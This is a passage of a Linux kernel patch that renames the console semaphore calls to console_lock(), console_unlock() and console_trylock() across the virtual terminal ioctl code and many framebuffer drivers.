+			console_lock();
 			for (i=1; i<MAX_NR_CONSOLES; i++)
 				if (! VT_BUSY(i))
 					vc_deallocate(i);
-			release_console_sem();
+			console_unlock();
 		} else {
 			/* deallocate a single console, if possible */
 			arg--;
 			if (VT_BUSY(arg))
 				ret = -EBUSY;
 			else if (arg) {			      /* leave 0 */
-				acquire_console_sem();
+				console_lock();
 				vc_deallocate(arg);
-				release_console_sem();
+				console_unlock();
 			}
 		}
 		break;
@@ -1126,7 +1126,7 @@ int vt_ioctl(struct tty_struct *tty, struct file * file,
 		    get_user(cc, &vtsizes->v_cols))
 			ret = -EFAULT;
 		else {
-			acquire_console_sem();
+			console_lock();
 			for (i = 0; i < MAX_NR_CONSOLES; i++) {
 				vc = vc_cons[i].d;
 
@@ -1135,7 +1135,7 @@ int vt_ioctl(struct tty_struct *tty, struct file * file,
 					vc_resize(vc_cons[i].d, cc, ll);
 				}
 			}
-			release_console_sem();
+			console_unlock();
 		}
 		break;
 	}
@@ -1187,14 +1187,14 @@ int vt_ioctl(struct tty_struct *tty, struct file * file,
 		for (i = 0; i < MAX_NR_CONSOLES; i++) {
 			if (!vc_cons[i].d)
 				continue;
-			acquire_console_sem();
+			console_lock();
 			if (vlin)
 				vc_cons[i].d->vc_scan_lines = vlin;
 			if (clin)
 				vc_cons[i].d->vc_font.height = clin;
 			vc_cons[i].d->vc_resize_user = 1;
 			vc_resize(vc_cons[i].d, cc, ll);
-			release_console_sem();
+			console_unlock();
 		}
 		break;
 	}
@@ -1367,7 +1367,7 @@ void vc_SAK(struct work_struct *work)
 	struct vc_data *vc;
 	struct tty_struct *tty;
 
-	acquire_console_sem();
+	console_lock();
 	vc = vc_con->d;
 	if (vc) {
 		tty = vc->port.tty;
@@ -1379,7 +1379,7 @@ void vc_SAK(struct work_struct *work)
 			__do_SAK(tty);
 		reset_vc(vc);
 	}
-	release_console_sem();
+	console_unlock();
 }
 
 #ifdef CONFIG_COMPAT
@@ -1737,10 +1737,10 @@ int vt_move_to_console(unsigned int vt, int alloc)
 {
 	int prev;
 
-	acquire_console_sem();
+	console_lock();
 	/* Graphics mode - up to X */
 	if (disable_vt_switch) {
-		release_console_sem();
+		console_unlock();
 		return 0;
 	}
 	prev = fg_console;
@@ -1748,7 +1748,7 @@ int vt_move_to_console(unsigned int vt, int alloc)
 	if (alloc && vc_allocate(vt)) {
 		/* we can't have a free VC for now. Too bad,
 		 * we don't want to mess the screen for now. */
-		release_console_sem();
+		console_unlock();
 		return -ENOSPC;
 	}
 
@@ -1758,10 +1758,10 @@ int vt_move_to_console(unsigned int vt, int alloc)
 		 * Let the calling function know so it can decide
 		 * what to do.
 		 */
-		release_console_sem();
+		console_unlock();
 		return -EIO;
 	}
-	release_console_sem();
+	console_unlock();
 	tty_lock();
 	if (vt_waitactive(vt + 1)) {
 		pr_debug("Suspend: Can't switch VCs.");
@@ -1781,8 +1781,8 @@ int vt_move_to_console(unsigned int vt, int alloc)
  */
 void pm_set_vt_switch(int do_switch)
 {
-	acquire_console_sem();
+	console_lock();
 	disable_vt_switch = !do_switch;
-	release_console_sem();
+	console_unlock();
 }
 EXPORT_SYMBOL(pm_set_vt_switch);
diff --git a/drivers/video/arkfb.c b/drivers/video/arkfb.c
index d583bea..391ac93 100644
--- a/drivers/video/arkfb.c
+++ b/drivers/video/arkfb.c
@@ -23,7 +23,7 @@
 #include <linux/svga.h>
 #include <linux/init.h>
 #include <linux/pci.h>
-#include <linux/console.h> /* Why should fb driver call console functions? because acquire_console_sem() */
+#include <linux/console.h> /* Why should fb driver call console functions? because console_lock() */
 #include <video/vga.h>
 
 #ifdef CONFIG_MTRR
@@ -1091,12 +1091,12 @@ static int ark_pci_suspend (struct pci_dev* dev, pm_message_t state)
 
 	dev_info(info->device, "suspend\n");
 
-	acquire_console_sem();
+	console_lock();
 	mutex_lock(&(par->open_lock));
 
 	if ((state.event == PM_EVENT_FREEZE) || (par->ref_count == 0)) {
 		mutex_unlock(&(par->open_lock));
-		release_console_sem();
+		console_unlock();
 		return 0;
 	}
 
@@ -1107,7 +1107,7 @@ static int ark_pci_suspend (struct pci_dev* dev, pm_message_t state)
 	pci_set_power_state(dev, pci_choose_state(dev, state));
 
 	mutex_unlock(&(par->open_lock));
-	release_console_sem();
+	console_unlock();
 
 	return 0;
 }
@@ -1122,7 +1122,7 @@ static int ark_pci_resume (struct pci_dev* dev)
 
 	dev_info(info->device, "resume\n");
 
-	acquire_console_sem();
+	console_lock();
 	mutex_lock(&(par->open_lock));
 
 	if (par->ref_count == 0)
@@ -1141,7 +1141,7 @@ static int ark_pci_resume (struct pci_dev* dev)
 
 fail:
 	mutex_unlock(&(par->open_lock));
-	release_console_sem();
+	console_unlock();
 	return 0;
 }
 #else
diff --git a/drivers/video/aty/aty128fb.c b/drivers/video/aty/aty128fb.c
index dd9de2e..4cb6a57 100644
--- a/drivers/video/aty/aty128fb.c
+++ b/drivers/video/aty/aty128fb.c
@@ -1860,11 +1860,11 @@ static void aty128_early_resume(void *data)
 {
         struct aty128fb_par *par = data;
 
-	if (try_acquire_console_sem())
+	if (!console_trylock())
 		return;
 	pci_restore_state(par->pdev);
 	aty128_do_resume(par->pdev);
-	release_console_sem();
+	console_unlock();
 }
 #endif /* CONFIG_PPC_PMAC */
 
@@ -2438,7 +2438,7 @@ static int aty128_pci_suspend(struct pci_dev *pdev, pm_message_t state)
 
 	printk(KERN_DEBUG "aty128fb: suspending...\n");
 	
-	acquire_console_sem();
+	console_lock();
 
 	fb_set_suspend(info, 1);
 
@@ -2470,7 +2470,7 @@ static int aty128_pci_suspend(struct pci_dev *pdev, pm_message_t state)
 	if (state.event != PM_EVENT_ON)
 		aty128_set_suspend(par, 1);
 
-	release_console_sem();
+	console_unlock();
 
 	pdev->dev.power.power_state = state;
 
@@ -2527,9 +2527,9 @@ static int aty128_pci_resume(struct pci_dev *pdev)
 {
 	int rc;
 
-	acquire_console_sem();
+	console_lock();
 	rc = aty128_do_resume(pdev);
-	release_console_sem();
+	console_unlock();
 
 	return rc;
 }
diff --git a/drivers/video/aty/atyfb_base.c b/drivers/video/aty/atyfb_base.c
index 767ab4f..94e293f 100644
--- a/drivers/video/aty/atyfb_base.c
+++ b/drivers/video/aty/atyfb_base.c
@@ -2069,7 +2069,7 @@ static int atyfb_pci_suspend(struct pci_dev *pdev, pm_message_t state)
 	if (state.event == pdev->dev.power.power_state.event)
 		return 0;
 
-	acquire_console_sem();
+	console_lock();
 
 	fb_set_suspend(info, 1);
 
@@ -2097,14 +2097,14 @@ static int atyfb_pci_suspend(struct pci_dev *pdev, pm_message_t state)
 		par->lock_blank = 0;
 		atyfb_blank(FB_BLANK_UNBLANK, info);
 		fb_set_suspend(info, 0);
-		release_console_sem();
+		console_unlock();
 		return -EIO;
 	}
 #else
 	pci_set_power_state(pdev, pci_choose_state(pdev, state));
 #endif
 
-	release_console_sem();
+	console_unlock();
 
 	pdev->dev.power.power_state = state;
 
@@ -2133,7 +2133,7 @@ static int atyfb_pci_resume(struct pci_dev *pdev)
 	if (pdev->dev.power.power_state.event == PM_EVENT_ON)
 		return 0;
 
-	acquire_console_sem();
+	console_lock();
 
 	/*
 	 * PCI state will have been restored by the core, so
@@ -2161,7 +2161,7 @@ static int atyfb_pci_resume(struct pci_dev *pdev)
 	par->lock_blank = 0;
 	atyfb_blank(FB_BLANK_UNBLANK, info);
 
-	release_console_sem();
+	console_unlock();
 
 	pdev->dev.power.power_state = PMSG_ON;
 
diff --git a/drivers/video/aty/radeon_pm.c b/drivers/video/aty/radeon_pm.c
index c4e1764..92bda58 100644
--- a/drivers/video/aty/radeon_pm.c
+++ b/drivers/video/aty/radeon_pm.c
@@ -2626,7 +2626,7 @@ int radeonfb_pci_suspend(struct pci_dev *pdev, pm_message_t mesg)
 		goto done;
 	}
 
-	acquire_console_sem();
+	console_lock();
 
 	fb_set_suspend(info, 1);
 
@@ -2690,7 +2690,7 @@ int radeonfb_pci_suspend(struct pci_dev *pdev, pm_message_t mesg)
 	if (rinfo->pm_mode & radeon_pm_d2)
 		radeon_set_suspend(rinfo, 1);
 
-	release_console_sem();
+	console_unlock();
 
  done:
 	pdev->dev.power.power_state = mesg;
@@ -2715,10 +2715,10 @@ int radeonfb_pci_resume(struct pci_dev *pdev)
 		return 0;
 
 	if (rinfo->no_schedule) {
-		if (try_acquire_console_sem())
+		if (!console_trylock())
 			return 0;
 	} else
-		acquire_console_sem();
+		console_lock();
 
 	printk(KERN_DEBUG "radeonfb (%s): resuming from state: %d...\n",
 	       pci_name(pdev), pdev->dev.power.power_state.event);
@@ -2783,7 +2783,7 @@ int radeonfb_pci_resume(struct pci_dev *pdev)
 	pdev->dev.power.power_state = PMSG_ON;
 
  bail:
-	release_console_sem();
+	console_unlock();
 
 	return rc;
 }
diff --git a/drivers/video/chipsfb.c b/drivers/video/chipsfb.c
index d637e1f..cff742a 100644
--- a/drivers/video/chipsfb.c
+++ b/drivers/video/chipsfb.c
@@ -460,10 +460,10 @@ static int chipsfb_pci_suspend(struct pci_dev *pdev, pm_message_t state)
 	if (!(state.event & PM_EVENT_SLEEP))
 		goto done;
 
-	acquire_console_sem();
+	console_lock();
 	chipsfb_blank(1, p);
 	fb_set_suspend(p, 1);
-	release_console_sem();
+	console_unlock();
  done:
 	pdev->dev.power.power_state = state;
 	return 0;
@@ -473,10 +473,10 @@ static int chipsfb_pci_resume(struct pci_dev *pdev)
 {
         struct fb_info *p = pci_get_drvdata(pdev);
 
-	acquire_console_sem();
+	console_lock();
 	fb_set_suspend(p, 0);
 	chipsfb_blank(0, p);
-	release_console_sem();
+	console_unlock();
 
 	pdev->dev.power.power_state = PMSG_ON;
 	return 0;
diff --git a/drivers/video/console/fbcon.c b/drivers/video/console/fbcon.c
index 7ccc967..9c092b8 100644
--- a/drivers/video/console/fbcon.c
+++ b/drivers/video/console/fbcon.c
@@ -375,14 +375,14 @@ static void fb_flashcursor(struct work_struct *work)
 	int c;
 	int mode;
 
-	acquire_console_sem();
+	console_lock();
 	if (ops && ops->currcon != -1)
 		vc = vc_cons[ops->currcon].d;
 
 	if (!vc || !CON_IS_VISIBLE(vc) ||
  	    registered_fb[con2fb_map[vc->vc_num]] != info ||
 	    vc->vc_deccm != 1) {
-		release_console_sem();
+		console_unlock();
 		return;
 	}
 
@@ -392,7 +392,7 @@ static void fb_flashcursor(struct work_struct *work)
 		CM_ERASE : CM_DRAW;
 	ops->cursor(vc, info, mode, softback_lines, get_color(vc, info, c, 1),
 		    get_color(vc, info, c, 0));
-	release_console_sem();
+	console_unlock();
 }
 
 static void cursor_timer_handler(unsigned long dev_addr)
@@ -836,7 +836,7 @@ static int set_con2fb_map(int unit, int newidx, int user)
 
 	found = search_fb_in_map(newidx);
 
-	acquire_console_sem();
+	console_lock();
 	con2fb_map[unit] = newidx;
 	if (!err && !found)
  		err = con2fb_acquire_newinfo(vc, info, unit, oldidx);
@@ -863,7 +863,7 @@ static int set_con2fb_map(int unit, int newidx, int user)
 	if (!search_fb_in_map(info_idx))
 		info_idx = newidx;
 
-	release_console_sem();
+	console_unlock();
  	return err;
 }
 
@@ -3321,7 +3321,7 @@ static ssize_t store_rotate(struct device *device,
 	if (fbcon_has_exited)
 		return count;
 
-	acquire_console_sem();
+	console_lock();
 	idx = con2fb_map[fg_console];
 
 	if (idx == -1 || registered_fb[idx] == NULL)
@@ -3331,7 +3331,7 @@ static ssize_t store_rotate(struct device *device,
 	rotate = simple_strtoul(buf, last, 0);
 	fbcon_rotate(info, rotate);
 err:
-	release_console_sem();
+	console_unlock();
 	return count;
 }
 
@@ -3346,7 +3346,7 @@ static ssize_t store_rotate_all(struct device *device,
 	if (fbcon_has_exited)
 		return count;
 
-	acquire_console_sem();
+	console_lock();
 	idx = con2fb_map[fg_console];
 
 	if (idx == -1 || registered_fb[idx] == NULL)
@@ -3356,7 +3356,7 @@ static ssize_t store_rotate_all(struct device *device,
 	rotate = simple_strtoul(buf, last, 0);
 	fbcon_rotate_all(info, rotate);
 err:
-	release_console_sem();
+	console_unlock();
 	return count;
 }
 
@@ -3369,7 +3369,7 @@ static ssize_t show_rotate(struct device *device,
 	if (fbcon_has_exited)
 		return 0;
 
-	acquire_console_sem();
+	console_lock();
 	idx = con2fb_map[fg_console];
 
 	if (idx == -1 || registered_fb[idx] == NULL)
@@ -3378,7 +3378,7 @@ static ssize_t show_rotate(struct device *device,
 	info = registered_fb[idx];
 	rotate = fbcon_get_rotate(info);
 err:
-	release_console_sem();
+	console_unlock();
 	return snprintf(buf, PAGE_SIZE, "%d\n", rotate);
 }
 
@@ -3392,7 +3392,7 @@ static ssize_t show_cursor_blink(struct device *device,
 	if (fbcon_has_exited)
 		return 0;
 
-	acquire_console_sem();
+	console_lock();
 	idx = con2fb_map[fg_console];
 
 	if (idx == -1 || registered_fb[idx] == NULL)
@@ -3406,7 +3406,7 @@ static ssize_t show_cursor_blink(struct device *device,
 
 	blink = (ops->flags & FBCON_FLAGS_CURSOR_TIMER) ? 1 : 0;
 err:
-	release_console_sem();
+	console_unlock();
 	return snprintf(buf, PAGE_SIZE, "%d\n", blink);
 }
 
@@ -3421,7 +3421,7 @@ static ssize_t store_cursor_blink(struct device *device,
 	if (fbcon_has_exited)
 		return count;
 
-	acquire_console_sem();
+	console_lock();
 	idx = con2fb_map[fg_console];
 
 	if (idx == -1 || registered_fb[idx] == NULL)
@@ -3443,7 +3443,7 @@ static ssize_t store_cursor_blink(struct device *device,
 	}
 
 err:
-	release_console_sem();
+	console_unlock();
 	return count;
 }
 
@@ -3482,7 +3482,7 @@ static void fbcon_start(void)
 	if (num_registered_fb) {
 		int i;
 
-		acquire_console_sem();
+		console_lock();
 
 		for (i = 0; i < FB_MAX; i++) {
 			if (registered_fb[i] != NULL) {
@@ -3491,7 +3491,7 @@ static void fbcon_start(void)
 			}
 		}
 
-		release_console_sem();
+		console_unlock();
 		fbcon_takeover(0);
 	}
 }
@@ -3552,7 +3552,7 @@ static int __init fb_console_init(void)
 {
 	int i;
 
-	acquire_console_sem();
+	console_lock();
 	fb_register_client(&fbcon_event_notifier);
 	fbcon_device = device_create(fb_class, NULL, MKDEV(0, 0), NULL,
 				     "fbcon");
@@ -3568,7 +3568,7 @@ static int __init fb_console_init(void)
 	for (i = 0; i < MAX_NR_CONSOLES; i++)
 		con2fb_map[i] = -1;
 
-	release_console_sem();
+	console_unlock();
 	fbcon_start();
 	return 0;
 }
@@ -3591,12 +3591,12 @@ static void __exit fbcon_deinit_device(void)
 
 static void __exit fb_console_exit(void)
 {
-	acquire_console_sem();
+	console_lock();
 	fb_unregister_client(&fbcon_event_notifier);
 	fbcon_deinit_device();
 	device_destroy(fb_class, MKDEV(0, 0));
 	fbcon_exit();
-	release_console_sem();
+	console_unlock();
 	unregister_con_driver(&fb_con);
 }	
 
diff --git a/drivers/video/da8xx-fb.c b/drivers/video/da8xx-fb.c
index c265aed..fbf6a9c 100644
--- a/drivers/video/da8xx-fb.c
+++ b/drivers/video/da8xx-fb.c
@@ -1130,14 +1130,14 @@ static int fb_suspend(struct platform_device *dev, pm_message_t state)
 	struct fb_info *info = platform_get_drvdata(dev);
 	struct da8xx_fb_par *par = info->par;
 
-	acquire_console_sem();
+	console_lock();
 	if (par->panel_power_ctrl)
 		par->panel_power_ctrl(0);
 
 	fb_set_suspend(info, 1);
 	lcd_disable_raster();
 	clk_disable(par->lcdc_clk);
-	release_console_sem();
+	console_unlock();
 
 	return 0;
 }
@@ -1146,14 +1146,14 @@ static int fb_resume(struct platform_device *dev)
 	struct fb_info *info = platform_get_drvdata(dev);
 	struct da8xx_fb_par *par = info->par;
 
-	acquire_console_sem();
+	console_lock();
 	if (par->panel_power_ctrl)
 		par->panel_power_ctrl(1);
 
 	clk_enable(par->lcdc_clk);
 	lcd_enable_raster();
 	fb_set_suspend(info, 0);
-	release_console_sem();
+	console_unlock();
 
 	return 0;
 }
diff --git a/drivers/video/fbmem.c b/drivers/video/fbmem.c
index 4ac1201..e2bf953 100644
--- a/drivers/video/fbmem.c
+++ b/drivers/video/fbmem.c
@@ -1036,11 +1036,11 @@ static long do_fb_ioctl(struct fb_info *info, unsigned int cmd,
 			return -EFAULT;
 		if (!lock_fb_info(info))
 			return -ENODEV;
-		acquire_console_sem();
+		console_lock();
 		info->flags |= FBINFO_MISC_USEREVENT;
 		ret = fb_set_var(info, &var);
 		info->flags &= ~FBINFO_MISC_USEREVENT;
-		release_console_sem();
+		console_unlock();
 		unlock_fb_info(info);
 		if (!ret && copy_to_user(argp, &var, sizeof(var)))
 			ret = -EFAULT;
@@ -1072,9 +1072,9 @@ static long do_fb_ioctl(struct fb_info *info, unsigned int cmd,
 			return -EFAULT;
 		if (!lock_fb_info(info))
 			return -ENODEV;
-		acquire_console_sem();
+		console_lock();
 		ret = fb_pan_display(info, &var);
-		release_console_sem();
+		console_unlock();
 		unlock_fb_info(info);
 		if (ret == 0 && copy_to_user(argp, &var, sizeof(var)))
 			return -EFAULT;
@@ -1119,11 +1119,11 @@ static long do_fb_ioctl(struct fb_info *info, unsigned int cmd,
 	case FBIOBLANK:
 		if (!lock_fb_info(info))
 			return -ENODEV;
-		acquire_console_sem();
+		console_lock();
 		info->flags |= FBINFO_MISC_USEREVENT;
 		ret = fb_blank(info, arg);
 		info->flags &= ~FBINFO_MISC_USEREVENT;
-		release_console_sem();
+		console_unlock();
 		unlock_fb_info(info);
 		break;
 	default:
diff --git a/drivers/video/fbsysfs.c b/drivers/video/fbsysfs.c
index 0a08f13..f4a3277 100644
--- a/drivers/video/fbsysfs.c
+++ b/drivers/video/fbsysfs.c
@@ -90,11 +90,11 @@ static int activate(struct fb_info *fb_info, struct fb_var_screeninfo *var)
 	int err;
 
 	var->activate |= FB_ACTIVATE_FORCE;
-	acquire_console_sem();
+	console_lock();
 	fb_info->flags |= FBINFO_MISC_USEREVENT;
 	err = fb_set_var(fb_info, var);
 	fb_info->flags &= ~FBINFO_MISC_USEREVENT;
-	release_console_sem();
+	console_unlock();
 	if (err)
 		return err;
 	return 0;
@@ -175,7 +175,7 @@ static ssize_t store_modes(struct device *device,
 	if (i * sizeof(struct fb_videomode) != count)
 		return -EINVAL;
 
-	acquire_console_sem();
+	console_lock();
 	list_splice(&fb_info->modelist, &old_list);
 	fb_videomode_to_modelist((const struct fb_videomode *)buf, i,
 				 &fb_info->modelist);
@@ -185,7 +185,7 @@ static ssize_t store_modes(struct device *device,
 	} else
 		fb_destroy_modelist(&old_list);
 
-	release_console_sem();
+	console_unlock();
 
 	return 0;
 }
@@ -301,11 +301,11 @@ static ssize_t store_blank(struct device *device,
 	char *last = NULL;
 	int err;
 
-	acquire_console_sem();
+	console_lock();
 	fb_info->flags |= FBINFO_MISC_USEREVENT;
 	err = fb_blank(fb_info, simple_strtoul(buf, &last, 0));
 	fb_info->flags &= ~FBINFO_MISC_USEREVENT;
-	release_console_sem();
+	console_unlock();
 	if (err < 0)
 		return err;
 	return count;
@@ -364,9 +364,9 @@ static ssize_t store_pan(struct device *device,
 		return -EINVAL;
 	var.yoffset = simple_strtoul(last, &last, 0);
 
-	acquire_console_sem();
+	console_lock();
 	err = fb_pan_display(fb_info, &var);
-	release_console_sem();
+	console_unlock();
 
 	if (err < 0)
 		return err;
@@ -399,9 +399,9 @@ static ssize_t store_fbstate(struct device *device,
 
 	state = simple_strtoul(buf, &last, 0);
 
-	acquire_console_sem();
+	console_lock();
 	fb_set_suspend(fb_info, (int)state);
-	release_console_sem();
+	console_unlock();
 
 	return count;
 }
diff --git a/drivers/video/geode/gxfb_core.c b/drivers/video/geode/gxfb_core.c
index 70b1d9d..b4f19db 100644
--- a/drivers/video/geode/gxfb_core.c
+++ b/drivers/video/geode/gxfb_core.c
@@ -344,10 +344,10 @@ static int gxfb_suspend(struct pci_dev *pdev, pm_message_t state)
 	struct fb_info *info = pci_get_drvdata(pdev);
 
 	if (state.event == PM_EVENT_SUSPEND) {
-		acquire_console_sem();
+		console_lock();
 		gx_powerdown(info);
 		fb_set_suspend(info, 1);
-		release_console_sem();
+		console_unlock();
 	}
 
 	/* there's no point in setting PCI states; we emulate PCI, so
@@ -361,7 +361,7 @@ static int gxfb_resume(struct pci_dev *pdev)
 	struct fb_info *info = pci_get_drvdata(pdev);
 	int ret;
 
-	acquire_console_sem();
+	console_lock();
 	ret = gx_powerup(info);
 	if (ret) {
 		printk(KERN_ERR "gxfb:  power up failed!\n");
@@ -369,7 +369,7 @@ static int gxfb_resume(struct pci_dev *pdev)
 	}
 
 	fb_set_suspend(info, 0);
-	release_console_sem();
+	console_unlock();
 	return 0;
 }
 #endif
diff --git a/drivers/video/geode/lxfb_core.c b/drivers/video/geode/lxfb_core.c
index 39bdbed..416851c 100644
--- a/drivers/video/geode/lxfb_core.c
+++ b/drivers/video/geode/lxfb_core.c
@@ -465,10 +465,10 @@ static int lxfb_suspend(struct pci_dev *pdev, pm_message_t state)
 	struct fb_info *info = pci_get_drvdata(pdev);
 
 	if (state.event == PM_EVENT_SUSPEND) {
-		acquire_console_sem();
+		console_lock();
 		lx_powerdown(info);
 		fb_set_suspend(info, 1);
-		release_console_sem();
+		console_unlock();
 	}
 
 	/* there's no point in setting PCI states; we emulate PCI, so
@@ -482,7 +482,7 @@ static int lxfb_resume(struct pci_dev *pdev)
 	struct fb_info *info = pci_get_drvdata(pdev);
 	int ret;
 
-	acquire_console_sem();
+	console_lock();
 	ret = lx_powerup(info);
 	if (ret) {
 		printk(KERN_ERR "lxfb:  power up failed!\n");
@@ -490,7 +490,7 @@ static int lxfb_resume(struct pci_dev *pdev)
 	}
 
 	fb_set_suspend(info, 0);
-	release_console_sem();
+	console_unlock();
 	return 0;
 }
 #else
diff --git a/drivers/video/i810/i810_main.c b/drivers/video/i810/i810_main.c
index 5743ea2..318f6fb 100644
--- a/drivers/video/i810/i810_main.c
+++ b/drivers/video/i810/i810_main.c
@@ -1574,7 +1574,7 @@ static int i810fb_suspend(struct pci_dev *dev, pm_message_t mesg)
 		return 0;
 	}
 
-	acquire_console_sem();
+	console_lock();
 	fb_set_suspend(info, 1);
 
 	if (info->fbops->fb_sync)
@@ -1587,7 +1587,7 @@ static int i810fb_suspend(struct pci_dev *dev, pm_message_t mesg)
 	pci_save_state(dev);
 	pci_disable_device(dev);
 	pci_set_power_state(dev, pci_choose_state(dev, mesg));
-	release_console_sem();
+	console_unlock();
 
 	return 0;
 }
@@ -1605,7 +1605,7 @@ static int i810fb_resume(struct pci_dev *dev)
 		return 0;
 	}
 
-	acquire_console_sem();
+	console_lock();
 	pci_set_power_state(dev, PCI_D0);
 	pci_restore_state(dev);
 
@@ -1621,7 +1621,7 @@ static int i810fb_resume(struct pci_dev *dev)
 	fb_set_suspend (info, 0);
 	info->fbops->fb_blank(VESA_NO_BLANKING, info);
 fail:
-	release_console_sem();
+	console_unlock();
 	return 0;
 }
 /***********************************************************************
diff --git a/drivers/video/jz4740_fb.c b/drivers/video/jz4740_fb.c
index 670ecaa..de36693 100644
--- a/drivers/video/jz4740_fb.c
+++ b/drivers/video/jz4740_fb.c
@@ -778,9 +778,9 @@ static int jzfb_suspend(struct device *dev)
 {
 	struct jzfb *jzfb = dev_get_drvdata(dev);
 
-	acquire_console_sem();
+	console_lock();
 	fb_set_suspend(jzfb->fb, 1);
-	release_console_sem();
+	console_unlock();
 
 	mutex_lock(&jzfb->lock);
 	if (jzfb->is_enabled)
@@ -800,9 +800,9 @@ static int jzfb_resume(struct device *dev)
 		jzfb_enable(jzfb);
 	mutex_unlock(&jzfb->lock);
 
-	acquire_console_sem();
+	console_lock();
 	fb_set_suspend(jzfb->fb, 0);
-	release_console_sem();
+	console_unlock();
 
 	return 0;
 }
diff --git a/drivers/video/mx3fb.c b/drivers/video/mx3fb.c
index cb01391..7e3a490 100644
--- a/drivers/video/mx3fb.c
+++ b/drivers/video/mx3fb.c
@@ -1177,9 +1177,9 @@ static int mx3fb_suspend(struct platform_device *pdev, pm_message_t state)
 	struct mx3fb_data *mx3fb = platform_get_drvdata(pdev);
 	struct mx3fb_info *mx3_fbi = mx3fb->fbi->par;
 
-	acquire_console_sem();
+	console_lock();
 	fb_set_suspend(mx3fb->fbi, 1);
-	release_console_sem();
+	console_unlock();
 
 	if (mx3_fbi->blank == FB_BLANK_UNBLANK) {
 		sdc_disable_channel(mx3_fbi);
@@ -1202,9 +1202,9 @@ static int mx3fb_resume(struct platform_device *pdev)
 		sdc_set_brightness(mx3fb, mx3fb->backlight_level);
 	}
 
-	acquire_console_sem();
+	console_lock();
 	fb_set_suspend(mx3fb->fbi, 0);
-	release_console_sem();
+	console_unlock();
 
 	return 0;
 }
diff --git a/drivers/video/nvidia/nvidia.c b/drivers/video/nvidia/nvidia.c
index efe10ff..081dc47 100644
--- a/drivers/video/nvidia/nvidia.c
+++ b/drivers/video/nvidia/nvidia.c
@@ -1057,7 +1057,7 @@ static int nvidiafb_suspend(struct pci_dev *dev, pm_message_t mesg)
 
 	if (mesg.event == PM_EVENT_PRETHAW)
 		mesg.event = PM_EVENT_FREEZE;
-	acquire_console_sem();
+	console_lock();
 	par->pm_state = mesg.event;
 
 	if (mesg.event & PM_EVENT_SLEEP) {
@@ -1070,7 +1070,7 @@ static int nvidiafb_suspend(struct pci_dev *dev, pm_message_t mesg)
 	}
 	dev->dev.power.power_state = mesg;
 
-	release_console_sem();
+	console_unlock();
 	return 0;
 }
 
@@ -1079,7 +1079,7 @@ static int nvidiafb_resume(struct pci_dev *dev)
 	struct fb_info *info = pci_get_drvdata(dev);
 	struct nvidia_par *par = info->par;
 
-	acquire_console_sem();
+	console_lock();
 	pci_set_power_state(dev, PCI_D0);
 
 	if (par->pm_state != PM_EVENT_FREEZE) {
@@ -1097,7 +1097,7 @@ static int nvidiafb_resume(struct pci_dev *dev)
 	nvidiafb_blank(FB_BLANK_UNBLANK, info);
 
 fail:
-	release_console_sem();
+	console_unlock();
 	return 0;
 }
 #else
diff --git a/drivers/video/ps3fb.c b/drivers/video/ps3fb.c
index 9c0144e..65560a1 100644
--- a/drivers/video/ps3fb.c
+++ b/drivers/video/ps3fb.c
@@ -513,9 +513,9 @@ static int ps3fb_release(struct fb_info *info, int user)
 	if (atomic_dec_and_test(&ps3fb.f_count)) {
 		if (atomic_read(&ps3fb.ext_flip)) {
 			atomic_set(&ps3fb.ext_flip, 0);
-			if (!try_acquire_console_sem()) {
+			if (console_trylock()) {
 				ps3fb_sync(info, 0);	/* single buffer */
-				release_console_sem();
+				console_unlock();
 			}
 		}
 	}
@@ -830,14 +830,14 @@ static int ps3fb_ioctl(struct fb_info *info, unsigned int cmd,
 			if (vmode) {
 				var = info->var;
 				fb_videomode_to_var(&var, vmode);
-				acquire_console_sem();
+				console_lock();
 				info->flags |= FBINFO_MISC_USEREVENT;
 				/* Force, in case only special bits changed */
 				var.activate |= FB_ACTIVATE_FORCE;
 				par->new_mode_id = val;
 				retval = fb_set_var(info, &var);
 				info->flags &= ~FBINFO_MISC_USEREVENT;
-				release_console_sem();
+				console_unlock();
 			}
 			break;
 		}
@@ -881,9 +881,9 @@ static int ps3fb_ioctl(struct fb_info *info, unsigned int cmd,
 			break;
 
 		dev_dbg(info->device, "PS3FB_IOCTL_FSEL:%d\n", val);
-		acquire_console_sem();
+		console_lock();
 		retval = ps3fb_sync(info, val);
-		release_console_sem();
+		console_unlock();
 		break;
 
 	default:
@@ -903,9 +903,9 @@ static int ps3fbd(void *arg)
 		set_current_state(TASK_INTERRUPTIBLE);
 		if (ps3fb.is_kicked) {
 			ps3fb.is_kicked = 0;
-			acquire_console_sem();
+			console_lock();
 			ps3fb_sync(info, 0);	/* single buffer */
-			release_console_sem();
+			console_unlock();
 		}
 		schedule();
 	}
diff --git a/drivers/video/s3fb.c b/drivers/video/s3fb.c
index dce8c97..75738a9 100644
--- a/drivers/video/s3fb.c
+++ b/drivers/video/s3fb.c
@@ -22,7 +22,7 @@
 #include <linux/svga.h>
 #include <linux/init.h>
 #include <linux/pci.h>
-#include <linux/console.h> /* Why should fb driver call console functions? because acquire_console_sem() */
+#include <linux/console.h> /* Why should fb driver call console functions? because console_lock() */
 #include <video/vga.h>
 
 #ifdef CONFIG_MTRR
@@ -1113,12 +1113,12 @@ static int s3_pci_suspend(struct pci_dev* dev, pm_message_t state)
 
 	dev_info(info->device, "suspend\n");
 
-	acquire_console_sem();
+	console_lock();
 	mutex_lock(&(par->open_lock));
 
 	if ((state.event == PM_EVENT_FREEZE) || (par->ref_count == 0)) {
 		mutex_unlock(&(par->open_lock));
-		release_console_sem();
+		console_unlock();
 		return 0;
 	}
 
@@ -1129,7 +1129,7 @@ static int s3_pci_suspend(struct pci_dev* dev, pm_message_t state)
 	pci_set_power_state(dev, pci_choose_state(dev, state));
 
 	mutex_unlock(&(par->open_lock));
-	release_console_sem();
+	console_unlock();
 
 	return 0;
 }
@@ -1145,12 +1145,12 @@ static int s3_pci_resume(struct pci_dev* dev)
 
 	dev_info(info->device, "resume\n");
 
-	acquire_console_sem();
+	console_lock();
 	mutex_lock(&(par->open_lock));
 
 	if (par->ref_count == 0) {
 		mutex_unlock(&(par->open_lock));
-		release_console_sem();
+		console_unlock();
 		return 0;
 	}
 
@@ -1159,7 +1159,7 @@ static int s3_pci_resume(struct pci_dev* dev)
 	err = pci_enable_device(dev);
 	if (err) {
 		mutex_unlock(&(par->open_lock));
-		release_console_sem();
+		console_unlock();
 		dev_err(info->device, "error %d enabling device for resume\n", err);
 		return err;
 	}
@@ -1169,7 +1169,7 @@ static int s3_pci_resume(struct pci_dev* dev)
 	fb_set_suspend(info, 0);
 
 	mutex_unlock(&(par->open_lock));
-	release_console_sem();
+	console_unlock();
 
 	return 0;
 }
